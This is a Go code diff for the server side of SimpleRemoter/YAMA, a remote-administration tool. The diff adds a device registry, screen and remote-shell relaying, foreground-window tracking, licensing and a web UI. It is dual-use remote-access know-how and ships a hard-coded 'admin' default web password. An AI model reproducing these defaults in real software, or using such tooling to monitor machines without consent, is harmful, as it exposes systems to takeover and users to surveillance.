+//   - RemoteSigner: HTTPS POST to operator's License Server (customer deployment)
+//   - NoOpSigner: returns empty signature (free tier; client refuses screen/file ops)
+//
+// On signer error (License Server unreachable + no cache hit), we still ship
+// a zeroed signature so the packet is well-formed; the client will retry on
+// next reconnect.
+func (h *MyHandler) sendMasterSetting(ctx *connection.Context, startTime, clientID string) {
+	buf := make([]byte, 1+protocol.MasterSettingsSize)
+	buf[0] = protocol.CmdMasterSetting
+
+	// ReportInterval (int32 LE at struct offset 0, +1 for the cmd byte).
+	// Sending 0 makes the client drop the active-window field of its
+	// heartbeat, which kills the web UI's live activeWindow updates.
+	binary.LittleEndian.PutUint32(
+		buf[1:5],
+		uint32(protocol.DefaultReportIntervalSec))
+
+	sig, err := h.signer.Sign(startTime, clientID)
+	if err != nil {
+		h.log.Error("signer (%s) failed for clientID=%s: %v — sending zeroed signature",
+			h.signer.Mode(), clientID, err)
+	} else if sig == "" {
+		// NoOpSigner path, or LocalSigner with empty master key — same effect.
+		// Log only once per process via the startup banner; don't spam here.
+	} else {
+		const sigOffset = 1 + protocol.MasterSettingsOffSignature
+		copy(buf[sigOffset:sigOffset+protocol.MasterSettingsSignatureLen], []byte(sig))
+	}
+
+	if err := h.srv.Send(ctx, buf); err != nil {
+		h.log.Error("CMD_MASTERSETTING send failed for conn=%d: %v", ctx.ID, err)
+	}
 }
 
 // handleAuth handles authorization request (TOKEN_AUTH = 100)
@@ -159,13 +527,41 @@ func (h *MyHandler) handleHeartbeat(ctx *connection.Context, data []byte) {
 			uint64(data[5])<<32 | uint64(data[6])<<40 | uint64(data[7])<<48 | uint64(data[8])<<56
 	}
 
+	// Forward live fields (ActiveWnd + Ping) to the hub so the web UI can
+	// display current latency and foreground window per device. Skip until
+	// login has happened — the hub is keyed by MasterID, which only exists
+	// post-login.
+	if info := ctx.GetInfo(); info.ClientID != "" {
+		var rtt int32
+		var activeWindow string
+		// ActiveWnd at data[9..521] is a 512-byte NUL-padded string. Encoding
+		// depends on the client: new clients advertise CLIENT_CAP_UTF8 (bit
+		// 0x0002 in the moduleVersion hex tail) and ship UTF-8 directly;
+		// legacy Windows clients still use CP936 (GBK). Decoding UTF-8 bytes
+		// as GBK turns Chinese characters into mojibake — see the matching
+		// C++ guard at server/2015Remote/WebService.cpp:1530.
+		if len(data) >= 9+512 {
+			activeWindow = protocol.DecodeClientString(
+				data[9:9+512],
+				h.hub.Capability(info.ClientID),
+				info.ClientType,
+			)
+		}
+		// Ping at data[521..525] is a little-endian int32.
+		if len(data) >= 525 {
+			rtt = int32(uint32(data[521]) | uint32(data[522])<<8 |
+				uint32(data[523])<<16 | uint32(data[524])<<24)
+		}
+		h.hub.UpdateLive(info.ClientID, int(rtt), activeWindow)
+	}
+
 	// Authenticate heartbeat if it contains authorization info
 	// data[1:] skips the command byte to get the raw Heartbeat structure
 	var authorized byte = 0
 	if len(data) > 1 {
 		authResult := h.auth.AuthenticateHeartbeat(data[1:])
 		if authResult.Authorized {
-			authorized = 1
+			authorized = 2 // Auth by admin
 			// Log authorization success (only log once per connection to avoid spam)
 			if !ctx.IsAuthorized.Load() {
 				ctx.IsAuthorized.Store(true)
@@ -228,10 +624,32 @@ func parsePorts(portStr string) ([]int, error) {
 	return ports, nil
 }
 
+// splitCSV splits a comma-separated env-var value into trimmed, non-empty
+// entries. Returns nil for an empty input so callers can keep the natural
+// "no value → no restriction" semantics with a single nil check.
+func splitCSV(s string) []string {
+	if s == "" {
+		return nil
+	}
+	parts := strings.Split(s, ",")
+	out := make([]string, 0, len(parts))
+	for _, p := range parts {
+		p = strings.TrimSpace(p)
+		if p != "" {
+			out = append(out, p)
+		}
+	}
+	if len(out) == 0 {
+		return nil
+	}
+	return out
+}
+
 func main() {
 	// Parse command line flags
 	portStr := flag.String("port", "6543", "Server listen ports (semicolon-separated, e.g. 6543;6544;6545)")
 	flag.StringVar(portStr, "p", "6543", "Server listen ports (shorthand)")
+	httpPort := flag.Int("http-port", 8080, "HTTP server port for web UI (0 to disable)")
 	noConsole := flag.Bool("no-console", false, "Disable console output (for daemon mode)")
 	flag.Parse()
 
@@ -254,6 +672,15 @@ func main() {
 
 	log := logger.New(logCfg)
 
+	// Track env vars where we fell back to a built-in default. Printed once
+	// at the end of startup so the operator sees what's in effect — vars the
+	// operator explicitly set are NOT listed (they already know their value).
+	type defaultedEnv struct{ name, value string }
+	var defaultsUsed []defaultedEnv
+	rememberDefault := func(name, value string) {
+		defaultsUsed = append(defaultsUsed, defaultedEnv{name, value})
+	}
+
 	// Create auth config
 	authCfg := auth.DefaultConfig()
 	// PwdHash can be set from environment or config file
@@ -261,12 +688,83 @@ func main() {
 	if authCfg.PwdHash == "" {
 		// Default placeholder - should be configured in production
 		authCfg.PwdHash = "61f04dd637a74ee34493fc1025de2c131022536da751c29e3ff4e9024d8eec43"
+		rememberDefault("YAMA_PWDHASH", authCfg.PwdHash)
 	}
 	authCfg.SuperPass = os.Getenv("YAMA_PWD")
 
 	// Create authenticator (shared by all servers)
 	authenticator := auth.New(authCfg)
 
+	// Shared device registry — every TCP handler reports devices into it,
+	// the HTTP server reads from it.
+	deviceHub := hub.New()
+
+	// Build the CMD_MASTERSETTING signer based on env vars:
+	//   - YAMA_SIGN_PASSWORD set → LocalSigner (operator's own deployment;
+	//     HMAC master key lives here)
+	//   - YAMA_LICENSE_SERVER + YAMA_LICENSE_TOKEN set → RemoteSigner
+	//     (customer deployment; never sees the master key, fetches signatures
+	//     from operator's License Server with 24h cache)
+	//   - neither → NoOpSigner (free tier; client refuses screen/file ops
+	//     but device list still works)
+	signer, mode, err := licensing.NewFromEnv(log)
+	if err != nil {
+		log.Fatal("Failed to initialize signer: %v", err)
+	}
+	// signer.Close() is called explicitly after the License Server HTTP is
+	// drained at shutdown — sequencing matters because an in-flight
+	// handleSign on the HTTP path needs a live signer to complete.
+	switch mode {
+	case licensing.ModeLocal:
+		log.Info("Signer mode: LOCAL (operator deployment, master key held in-process)")
+	case licensing.ModeRemote:
+		log.Info("Signer mode: REMOTE (customer deployment, %s=%s)",
+			licensing.EnvLicenseServer, os.Getenv(licensing.EnvLicenseServer))
+	case licensing.ModeNoOp:
+		log.Warn("Signer mode: NOOP (no licensing configured; screen/file features disabled on clients)")
+	}
+
+	// If the operator also wants this LocalSigner deployment to serve as
+	// License Server for RemoteSigner customers, YAMA_LICENSE_PUBLIC_KEY +
+	// YAMA_LICENSE_HTTP_ADDR enable it. Off by default.
+	licSrv, licAddr, err := licensing.LicenseServerFromEnv(signer, log)
+	if err != nil {
+		log.Fatal("Failed to initialize License Server: %v", err)
+	}
+
+	// Web user authenticator. Bootstrap admin from env var YAMA_WEB_ADMIN_PASS;
+	// if unset, fall back to YAMA_PWD (same secret the TCP authorization uses)
+	// so a single password env var is enough to bring up the whole stack.
+	// If neither is set we use a hard-coded "admin" default so the web UI is
+	// usable out of the box — the startup banner surfaces this so operators
+	// know to override it in any non-dev deployment.
+	const defaultWebAdminPass = "admin"
+	webAuth := wsauth.New()
+	adminPass := os.Getenv("YAMA_WEB_ADMIN_PASS")
+	if adminPass == "" {
+		adminPass = os.Getenv("YAMA_PWD")
+	}
+	usingDefaultWebPass := false
+	if adminPass == "" {
+		adminPass = defaultWebAdminPass
+		rememberDefault("YAMA_WEB_ADMIN_PASS", defaultWebAdminPass)
+		usingDefaultWebPass = true
+	}
+	webAuth.AddAdminFromPlainPassword("admin", adminPass)
+	log.Info("Web admin user configured")
+
+	// Persistent users live in users.json next to the binary's working dir
+	// — same default the C++ WebService uses (m_ConfigDir + "users.json").
+	// Loading is best-effort: a missing file means "no extra users yet".
+	usersFile := os.Getenv("YAMA_USERS_FILE")
+	if usersFile == "" {
+		usersFile = "users.json"
+		rememberDefault("YAMA_USERS_FILE", usersFile)
+	}
+	if err := webAuth.SetUsersFile(usersFile); err != nil {
+		log.Warn("Failed to load %s: %v (continuing with admin only)", usersFile, err)
+	}
+
 	// Create servers for each port
 	var servers []*server.Server
 	for _, port := range ports {
@@ -282,20 +780,109 @@ func main() {
 			log:    log.WithPrefix(fmt.Sprintf("Handler:%d", port)),
 			auth:   authenticator,
 			srv:    srv,
+			hub:    deviceHub,
+			signer: signer,
 		}
 		srv.SetHandler(handler)
 
 		servers = append(servers, srv)
 	}
 
-	// Start all servers
+	// Wire the hub's outbound sender once all TCP servers exist. Any server's
+	// Send method will do — the per-connection encoder uses ctx-local state
+	// and is independent of which server originally accepted the connection.
+	if len(servers) > 0 {
+		s := servers[0]
+		deviceHub.SetSender(func(ctx *connection.Context, data []byte) error {
+			return s.Send(ctx, data)
+		})
+	}
+
+	// Start all TCP servers
 	for _, srv := range servers {
 		if err := srv.Start(); err != nil {
 			log.Fatal("Failed to start server: %v", err)
 		}
 	}
 
+	// Web-UI hardening knobs for public-HTTPS deployment.
+	//
+	// YAMA_WEB_ALLOWED_ORIGINS: comma-separated Origin allowlist (e.g.
+	//   "https://yama.example.com,https://yama-mobile.example.com").
+	//   Empty (default) → only same-origin WS upgrades accepted, which
+	//   is correct when the web UI and WS endpoint share a host.
+	//
+	// Login rate limits are hard-coded at sensible defaults for the
+	// small-user web UI: 10 attempts / minute per IP, 5 / 15 min per
+	// username. The handler also injects a 250 ms delay on every failure
+	// so online brute force is impractical even within budget.
+	allowedOrigins := splitCSV(os.Getenv("YAMA_WEB_ALLOWED_ORIGINS"))
+	trustProxy := os.Getenv("YAMA_WEB_TRUST_PROXY") == "1"
+	if trustProxy {
+		log.Info("Trusting X-Forwarded-For for client IP — make sure a reverse proxy is in front")
+	}
+	webCfg := web.Config{
+		AllowedOrigins:    allowedOrigins,
+		LoginIPLimit:      wsauth.NewRateLimiter(10, time.Minute),
+		LoginUserLimit:    wsauth.NewRateLimiter(5, 15*time.Minute),
+		TrustForwardedFor: trustProxy,
+	}
+
+	// Start HTTP server for web UI. Hub gives it read-only access to the
+	// device registry; the authenticator owns user accounts and session tokens.
+	httpSrv := web.New(*httpPort, log.WithPrefix("Web"), deviceHub, webAuth).
+		WithConfig(webCfg)
+	if err := httpSrv.Start(); err != nil {
+		log.Fatal("Failed to start HTTP server: %v", err)
+	}
+
+	// Optionally serve the License Server HTTP endpoints in this process.
+	// Only active when the operator set YAMA_LICENSE_PUBLIC_KEY +
+	// YAMA_LICENSE_HTTP_ADDR. We serve plain HTTP — operator should put
+	// nginx/Caddy in front for TLS. (RemoteSigner customers connect to
+	// the public URL configured via YAMA_LICENSE_SERVER on their side.)
+	//
+	// Timeouts cap Slowloris / FD-exhaustion attacks. Values are generous
+	// enough for a slow public link (TLS-terminating proxy in front, real
+	// customer round-trips at ~hundreds of ms) but tight enough that a
+	// trickle-byte attacker cannot pin a connection indefinitely.
+	var licenseHTTP *http.Server
+	if licSrv != nil {
+		licenseHTTP = &http.Server{
+			Addr:              licAddr,
+			Handler:           licSrv.Handler(),
+			ReadHeaderTimeout: 5 * time.Second,
+			ReadTimeout:       15 * time.Second,
+			WriteTimeout:      15 * time.Second,
+			IdleTimeout:       60 * time.Second,
+			MaxHeaderBytes:    16 << 10,
+		}
+		go func() {
+			log.Info("License Server listening on %s (POST /license/sign, /license/heartbeat)", licAddr)
+			if err := licenseHTTP.ListenAndServe(); err != nil && err != http.ErrServerClosed {
+				log.Error("License Server stopped: %v", err)
+			}
+		}()
+	}
+
 	fmt.Printf("Server started on port(s): %v\n", ports)
+	if *httpPort != 0 {
+		fmt.Printf("Web UI on http://localhost:%d/\n", *httpPort)
+		if usingDefaultWebPass {
+			fmt.Printf("    Default login: admin / %s   (set YAMA_WEB_ADMIN_PASS to override)\n",
+				defaultWebAdminPass)
+		}
+	}
+	if licenseHTTP != nil {
+		fmt.Printf("License Server on http://%s/license/{sign,heartbeat}\n", licAddr)
+	}
+	if len(defaultsUsed) > 0 {
+		fmt.Println()
+		fmt.Println("[!] Using built-in defaults (set the env var to override):")
+		for _, d := range defaultsUsed {
+			fmt.Printf("    %s = %s\n", d.name, d.value)
+		}
+	}
 	fmt.Println("Logs are written to: logs/server.log")
 	fmt.Println("Press Ctrl+C to stop...")
 
@@ -305,6 +892,18 @@ func main() {
 	<-sigChan
 
 	fmt.Println("\nShutting down...")
+	// Order matters: drain License Server HTTP first so no handleSign is
+	// mid-flight; THEN close the signer (which may release HTTP keepalives
+	// in RemoteSigner mode, or be a no-op for LocalSigner/NoOp).
+	if licenseHTTP != nil {
+		shutdownCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
+		_ = licenseHTTP.Shutdown(shutdownCtx)
+		cancel()
+	}
+	if err := signer.Close(); err != nil {
+		log.Warn("signer Close: %v", err)
+	}
+	httpSrv.Stop()
 	for _, srv := range servers {
 		srv.Stop()
 	}

server/go/cmd/winres/winres.json

@@ -0,0 +1,60 @@
+{
+  "RT_GROUP_ICON": {
+    "APP": {
+      "0000": [
+        "icon.png"
+      ]
+    }
+  },
+  "RT_MANIFEST": {
+    "#1": {
+      "0409": {
+        "identity": {
+          "name": "YAMA Go Server",
+          "version": "1.0.0"
+        },
+        "description": "YAMA Go Server",
+        "minimum-os": "win7",
+        "execution-level": "as invoker",
+        "ui-access": false,
+        "auto-elevate": false,
+        "dpi-awareness": "system",
+        "disable-theming": false,
+        "disable-window-filtering": false,
+        "high-resolution-scrolling-aware": false,
+        "ultra-high-resolution-scrolling-aware": false,
+        "long-path-aware": false,
+        "printer-driver-isolation": false,
+        "gdi-scaling": false,
+        "segment-heap": false,
+        "use-common-controls-v6": true
+      }
+    }
+  },
+  "RT_VERSION": {
+    "#1": {
+      "0000": {
+        "fixed": {
+          "file_version": "1.0.0.0",
+          "product_version": "1.0.0.0"
+        },
+        "info": {
+          "0409": {
+            "Comments": "YAMA Go Remote Desktop Server",
+            "CompanyName": "SimpleRemoter",
+            "FileDescription": "YAMA Go Remote Desktop Server",
+            "FileVersion": "1.0.0",
+            "InternalName": "YamaGo.exe",
+            "LegalCopyright": "Copyright © 2026 YAMA",
+            "LegalTrademarks": "",
+            "OriginalFilename": "YamaGo.exe",
+            "PrivateBuild": "",
+            "ProductName": "YAMA Go Server",
+            "ProductVersion": "1.0.0",
+            "SpecialBuild": ""
+          }
+        }
+      }
+    }
+  }
+}

server/go/connection/context.go

@@ -86,6 +86,15 @@ const (
 // NewContext creates a new connection context
 func NewContext(conn net.Conn, mgr *Manager) *Context {
 	now := time.Now()
+	// Disable Nagle's algorithm. The protocol mixes tiny acks (ConnAuth,
+	// HeartbeatAck, CMD_MASTERSETTING) with large frame bursts; with Nagle
+	// on, those acks sit in the kernel buffer up to ~200 ms waiting for
+	// more bytes, and combined with the peer's delayed-ACK that's enough
+	// to make the screen handshake feel sluggish vs. the C++ server (which
+	// sets TCP_NODELAY on every sub-context in ScreenSpyDlg).
+	if tcp, ok := conn.(*net.TCPConn); ok {
+		_ = tcp.SetNoDelay(true)
+	}
 	ctx := &Context{
 		Conn:           conn,
 		RemoteAddr:     conn.RemoteAddr().String(),

server/go/go.mod

@@ -0,0 +1,19 @@
+module github.com/yuanyuanxiang/SimpleRemoter/server/go
+
+go 1.25.0
+
+require (
+	github.com/golang-jwt/jwt/v5 v5.3.1
+	github.com/gorilla/websocket v1.5.3
+	github.com/klauspost/compress v1.18.2
+	github.com/rs/zerolog v1.34.0
+	golang.org/x/text v0.32.0
+	gopkg.in/natefinch/lumberjack.v2 v2.2.1
+)
+
+require (
+	github.com/mattn/go-colorable v0.1.13 // indirect
+	github.com/mattn/go-isatty v0.0.19 // indirect
+	golang.org/x/sync v0.20.0 // indirect
+	golang.org/x/sys v0.12.0 // indirect
+)

server/go/go.sum

@@ -1,5 +1,9 @@
 github.com/coreos/go-systemd/v22 v22.5.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc=
 github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
+github.com/golang-jwt/jwt/v5 v5.3.1 h1:kYf81DTWFe7t+1VvL7eS+jKFVWaUnK9cB1qbwn63YCY=
+github.com/golang-jwt/jwt/v5 v5.3.1/go.mod h1:fxCRLWMO43lRc8nhHWY6LGqRcf+1gQWArsqaEUEa5bE=
+github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
+github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
 github.com/klauspost/compress v1.18.2 h1:iiPHWW0YrcFgpBYhsA6D1+fqHssJscY/Tm/y2Uqnapk=
 github.com/klauspost/compress v1.18.2/go.mod h1:R0h/fSBs8DE4ENlcrlib3PsXS61voFxhIs2DeRhCvJ4=
 github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
@@ -11,6 +15,8 @@ github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINE
 github.com/rs/xid v1.6.0/go.mod h1:7XoLgs4eV+QndskICGsho+ADou8ySMSjJKDIan90Nz0=
 github.com/rs/zerolog v1.34.0 h1:k43nTLIwcTVQAncfCw4KZ2VY6ukYoZaBPNOE8txlOeY=
 github.com/rs/zerolog v1.34.0/go.mod h1:bJsvje4Z08ROH4Nhs5iH600c3IkWhwp44iRc54W6wYQ=
+golang.org/x/sync v0.20.0 h1:e0PTpb7pjO8GAtTs2dQ6jYa5BWYlMuX047Dco/pItO4=
+golang.org/x/sync v0.20.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0=
 golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
 golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
 golang.org/x/sys v0.12.0 h1:CM0HF96J0hcLAwsHPJZjfdNzs0gftsLfgKt57wWHJ0o=

server/go/hub/hub.go

@@ -0,0 +1,842 @@
+// Package hub maintains the registry of currently online devices and acts as
+// the bridge between the TCP server (which sees raw client connections) and
+// the web server (which serves browser clients).
+//
+// The TCP side calls Register / Unregister / UpdateLive / BindScreenConn as
+// the protocol layer notices new sub-connections.
+// The web side calls ListDevices / SendToDevice / Subscribe.
+// Neither side imports the other — both depend only on this package.
+package hub
+
+import (
+	"errors"
+	"sort"
+	"sync"
+	"time"
+
+	"github.com/yuanyuanxiang/SimpleRemoter/server/go/connection"
+	"github.com/yuanyuanxiang/SimpleRemoter/server/go/protocol"
+)
+
+// ErrDeviceOffline is returned by SendToDevice when the target device is not
+// (no longer) registered.
+var ErrDeviceOffline = errors.New("device offline")
+
+// ErrNoSender is returned by SendToDevice if SetSender has not been called.
+var ErrNoSender = errors.New("hub sender not configured")
+
+// SendFunc encodes-and-writes raw command bytes to a device's TCP context.
+// In practice this is bound to server.Server.Send at startup.
+type SendFunc func(ctx *connection.Context, data []byte) error
+
+// Device is the internal record for one logical end-device (keyed by MasterID).
+// A single device may use multiple TCP sub-connections (screen, terminal …);
+// only the main login connection is stored here.
+//
+// PCName from LOGIN_INFOR is interpreted as "ComputerName/Group" and
+// ModuleVersion as "Version-Capability"; the split halves live in separate
+// fields so the front-end can render them independently.
+type Device struct {
+	ID          string // MasterID — stable identifier the client reports at login
+	Name        string // PCName before '/' (real computer name)
+	Group       string // PCName after '/'  (group label; may be empty)
+	Version     string // ModuleVersion before '-' (semantic version)
+	Capability  string // ModuleVersion after '-'  (capability tags; may be empty)
+	OS          string // OS version string
+	CPU         string // from LOGIN_INFOR reserved field 2
+	FilePath    string // from LOGIN_INFOR reserved field 4
+	InstallTime string // from LOGIN_INFOR reserved field 6 (or StartTime)
+	Location    string // client-reported geo string (reserved field 10)
+	PeerIP      string // network-level remote address as seen by the server
+	PublicIP    string // client-reported public IP (reserved field 11)
+	Resolution  string // client-formatted screen geometry "N:W*H" (reserved field 15)
+	ConnectedAt time.Time
+
+	// Live fields refreshed on every heartbeat. Protected by hub.mu.
+	RTT          int    // network latency in ms (Heartbeat.Ping)
+	ActiveWindow string // foreground window title (Heartbeat.ActiveWnd, decoded)
+
+	// conn is the main connection's context — used by SendToDevice to forward
+	// commands (COMMAND_SCREEN_SPY, etc.) to the device.
+	conn *connection.Context
+
+	// screenConn is the device-initiated sub-connection that streams
+	// TOKEN_BITMAPINFO / TOKEN_FIRSTSCREEN / TOKEN_NEXTSCREEN frames. Bound
+	// after the device responds to COMMAND_SCREEN_SPY. Nil while no screen
+	// session is active.
+	screenConn *connection.Context
+
+	// Cached screen state, for late-joining browsers. Populated by the
+	// PublishResolution / PublishScreenFrame call sites. screenWidth==0 or
+	// lastKeyframe==nil indicates "no session" / "no IDR seen yet".
+	screenWidth  int
+	screenHeight int
+	lastKeyframe []byte // fully-packed WS binary packet of the most recent IDR
+
+	// Cursor index dedup: cursors arrive on every frame (~30 Hz) but only
+	// rarely change. Suppress duplicates so the WS doesn't carry redundant
+	// JSON messages.
+	cursorSeen      bool
+	lastCursorIndex byte
+
+	// Terminal session state — at most one web terminal per device (MVP
+	// constraint shared with the C++ server). All three fields are
+	// guarded by hub.mu.
+	//
+	// terminalPending: COMMAND_SHELL has been sent, waiting for the device's
+	//   sub-conn to arrive and announce itself via TOKEN_TERMINAL_START /
+	//   TOKEN_SHELL_START.
+	// terminalConn: the shell sub-conn ctx after binding. Nil before BIND
+	//   and after teardown.
+	// terminalIsPTY: distinguishes Linux/macOS/ConPTY (true) from the legacy
+	//   Windows cmd-pipe path. PTY mode supports resize; cmd-pipe ignores it.
+	terminalPending bool
+	terminalConn    *connection.Context
+	terminalIsPTY   bool
+}
+
+// ScreenCache is a read-only snapshot of a device's last-seen screen state,
+// used by wsHub.handleConnect to bootstrap late joiners.
+type ScreenCache struct {
+	Width    int
+	Height   int
+	Keyframe []byte // packed WS packet; nil if no keyframe cached yet
+	Active   bool   // true iff a screen sub-conn is currently bound
+}
+
+// ScreenState returns a snapshot of the device's current screen state, or
+// an empty struct if the device is unknown. Safe to call from any goroutine.
+func (h *Hub) ScreenState(deviceID string) ScreenCache {
+	h.mu.RLock()
+	defer h.mu.RUnlock()
+	d, ok := h.devices[deviceID]
+	if !ok {
+		return ScreenCache{}
+	}
+	return ScreenCache{
+		Width:    d.screenWidth,
+		Height:   d.screenHeight,
+		Keyframe: d.lastKeyframe,
+		Active:   d.screenConn != nil,
+	}
+}
+
+// MainConn exposes the device's main TCP context for callers that need to
+// send commands directly. Returns nil if the device is not registered.
+func (h *Hub) MainConn(id string) *connection.Context {
+	h.mu.RLock()
+	defer h.mu.RUnlock()
+	if d, ok := h.devices[id]; ok {
+		return d.conn
+	}
+	return nil
+}
+
+// Capability returns the device's reported capability hex string
+// (LOGIN_INFOR.moduleVersion tail). Empty for unknown devices — callers
+// should treat that as "no caps" (legacy Windows GBK default).
+func (h *Hub) Capability(id string) string {
+	h.mu.RLock()
+	defer h.mu.RUnlock()
+	if d, ok := h.devices[id]; ok {
+		return d.Capability
+	}
+	return ""
+}
+
+// DeviceInfo is the JSON-safe projection of Device for the /api/devices
+// endpoint and the WS device_list message. Field names match what the
+// existing browser front-end expects.
+type DeviceInfo struct {
+	ID           string `json:"id"`
+	Name         string `json:"name"`
+	Group        string `json:"group,omitempty"`
+	Version      string `json:"version"`
+	Capability   string `json:"capability,omitempty"`
+	OS           string `json:"os"`
+	CPU          string `json:"cpu,omitempty"`
+	FilePath     string `json:"file_path,omitempty"`
+	InstallTime  string `json:"install_time,omitempty"`
+	Location     string `json:"location,omitempty"`
+	IP           string `json:"ip"` // client-reported public IP (matches C++ key)
+	PeerIP       string `json:"peer_ip,omitempty"`
+	Screen       string `json:"screen,omitempty"` // "N:W*H" — matches C++ DeviceInfo.screen key
+	RTT          int    `json:"rtt"`
+	ActiveWindow string `json:"activeWindow,omitempty"`
+	ConnectedAt  int64  `json:"connected_at"`
+	Online       bool   `json:"online"`
+}
+
+// EventHandler receives notifications about device lifecycle, per-tick live
+// updates, screen frames and resolution changes. Methods are invoked
+// synchronously from the corresponding hub mutator — implementations must
+// be non-blocking (typically just write to a channel or queue).
+type EventHandler interface {
+	OnDeviceOnline(d DeviceInfo)
+	OnDeviceOffline(id string)
+	OnDeviceUpdate(id string, rtt int, activeWindow string)
+	// OnScreenFrame delivers a fully-formed WS binary packet for the given
+	// device. The packet matches the C++ layout:
+	//   [DeviceID:4 LE][FrameType:1][DataLen:4 LE][H264:N]
+	// Implementations should treat the slice as read-only.
+	OnScreenFrame(deviceID string, packet []byte, isKeyframe bool)
+	// OnResolutionChange fires when a screen session starts (TOKEN_BITMAPINFO)
+	// or whenever the device reports a new screen geometry mid-stream.
+	OnResolutionChange(deviceID string, width, height int)
+	// OnCursorChange fires when the device's foreground cursor index changes.
+	// Duplicates (same index as the previous frame) are filtered out by the
+	// hub before reaching subscribers.
+	OnCursorChange(deviceID string, index byte)
+	// OnTerminalReady fires once the device's shell sub-conn is bound and
+	// the server has sent COMMAND_NEXT to start its output read loop.
+	// isPTY=true means PTY mode (Linux/macOS or ConPTY); false means the
+	// legacy Windows cmd-pipe path which doesn't support resize.
+	OnTerminalReady(deviceID string, isPTY bool)
+	// OnTerminalData ships one chunk of raw shell output (already wrapped
+	// in the WS-binary "TRM1" magic header) to terminal viewers.
+	OnTerminalData(deviceID string, packet []byte)
+	// OnTerminalClosed fires when the session ends — either because the
+	// device sent TOKEN_TERMINAL_CLOSE, the sub-conn dropped, or the
+	// server explicitly tore it down.
+	OnTerminalClosed(deviceID string, reason string)
+}
+
+// Hub is a thread-safe registry of online devices.
+type Hub struct {
+	mu          sync.RWMutex
+	devices     map[string]*Device
+	subMu       sync.RWMutex
+	subscribers []EventHandler
+
+	sender SendFunc
+
+	// Reverse index: TCP context -> device ID for the device's screen
+	// sub-connection. Lets us clean up on raw-connection close without
+	// having to walk every device. Empty when no screen sessions exist.
+	screenIndex   map[*connection.Context]string
+	screenIndexMu sync.RWMutex
+
+	// Parallel reverse index for terminal sub-conns. Same purpose: O(1)
+	// lookup from a raw ctx (e.g. on OnDisconnect) back to its device.
+	terminalIndex   map[*connection.Context]string
+	terminalIndexMu sync.RWMutex
+}
+
+// New returns an empty Hub.
+func New() *Hub {
+	return &Hub{
+		devices:       make(map[string]*Device),
+		screenIndex:   make(map[*connection.Context]string),
+		terminalIndex: make(map[*connection.Context]string),
+	}
+}
+
+// SetSender wires the function used to deliver outbound bytes on a device's
+// main TCP connection. Typically called once in main() with server.Send.
+func (h *Hub) SetSender(fn SendFunc) {
+	h.sender = fn
+}
+
+// SendToDevice forwards an already-formed command payload to the device's
+// main connection. data should be the raw command bytes (the sender takes
+// care of framing / compression at the protocol layer).
+func (h *Hub) SendToDevice(id string, data []byte) error {
+	h.mu.RLock()
+	d, ok := h.devices[id]
+	h.mu.RUnlock()
+	if !ok || d.conn == nil {
+		return ErrDeviceOffline
+	}
+	if h.sender == nil {
+		return ErrNoSender
+	}
+	return h.sender(d.conn, data)
+}
+
+// SendToScreen routes a payload to the device's currently-bound screen
+// sub-connection. Input events (COMMAND_SCREEN_CONTROL) MUST go through the
+// screen sub-conn rather than the main conn — the C++ client only dispatches
+// these commands from CScreenManager::OnReceive, which reads exclusively from
+// the sub-conn (see client/ScreenManager.cpp:1065). Returns ErrDeviceOffline
+// when the device is unknown OR has no active screen session, so callers can
+// quietly drop input from browsers that haven't called connect yet.
+func (h *Hub) SendToScreen(id string, data []byte) error {
+	h.mu.RLock()
+	d, ok := h.devices[id]
+	var sc *connection.Context
+	if ok {
+		sc = d.screenConn
+	}
+	h.mu.RUnlock()
+	if !ok || sc == nil {
+		return ErrDeviceOffline
+	}
+	if h.sender == nil {
+		return ErrNoSender
+	}
+	return h.sender(sc, data)
+}
+
+// BindScreenConn associates a freshly-arrived sub-connection (the one that
+// just sent TOKEN_BITMAPINFO) with the device identified by clientID.
+// Returns false if the device is not registered — callers should drop the
+// orphan connection in that case.
+//
+// If the device already has a screen sub-conn bound (typically because the
+// client's monitor-poll logic opened a new one without the previous viewer
+// going through CloseScreen — e.g. multiple open/close cycles where each
+// cycle picks a different display), the previous sub-conn is retired via
+// retireScreenConn. Without this, both sub-conns keep streaming under the
+// same device ID and the browser sees H.264 frames from two encoders
+// interleaved, rendering as a picture that jumps between monitors.
+func (h *Hub) BindScreenConn(deviceID string, ctx *connection.Context) bool {
+	if deviceID == "" || ctx == nil {
+		return false
+	}
+	h.mu.Lock()
+	d, ok := h.devices[deviceID]
+	if !ok {
+		h.mu.Unlock()
+		return false
+	}
+	old := d.screenConn
+	d.screenConn = ctx
+	// The cached resolution and last IDR belong to the old encoder's
+	// stream. A viewer joining now must wait for the new sub-conn's
+	// TOKEN_BITMAPINFO + first IDR; serving the old monitor's keyframe
+	// to a decoder that's about to receive a different SPS/PPS would
+	// produce the same mixed-stream corruption retireScreenConn exists
+	// to prevent.
+	replacing := old != nil && old != ctx
+	if replacing {
+		d.screenWidth = 0
+		d.screenHeight = 0
+		d.lastKeyframe = nil
+	}
+	h.mu.Unlock()
+
+	h.screenIndexMu.Lock()
+	h.screenIndex[ctx] = deviceID
+	h.screenIndexMu.Unlock()
+
+	if replacing {
+		h.retireScreenConn(old)
+	}
+	return true
+}
+
+// ScreenDeviceID returns the device ID whose screen sub-connection this
+// context represents, or "" if the context is not a screen sub-connection.
+// Used by the TCP layer to route TOKEN_FIRSTSCREEN / TOKEN_NEXTSCREEN frames.
+func (h *Hub) ScreenDeviceID(ctx *connection.Context) string {
+	h.screenIndexMu.RLock()
+	defer h.screenIndexMu.RUnlock()
+	return h.screenIndex[ctx]
+}
+
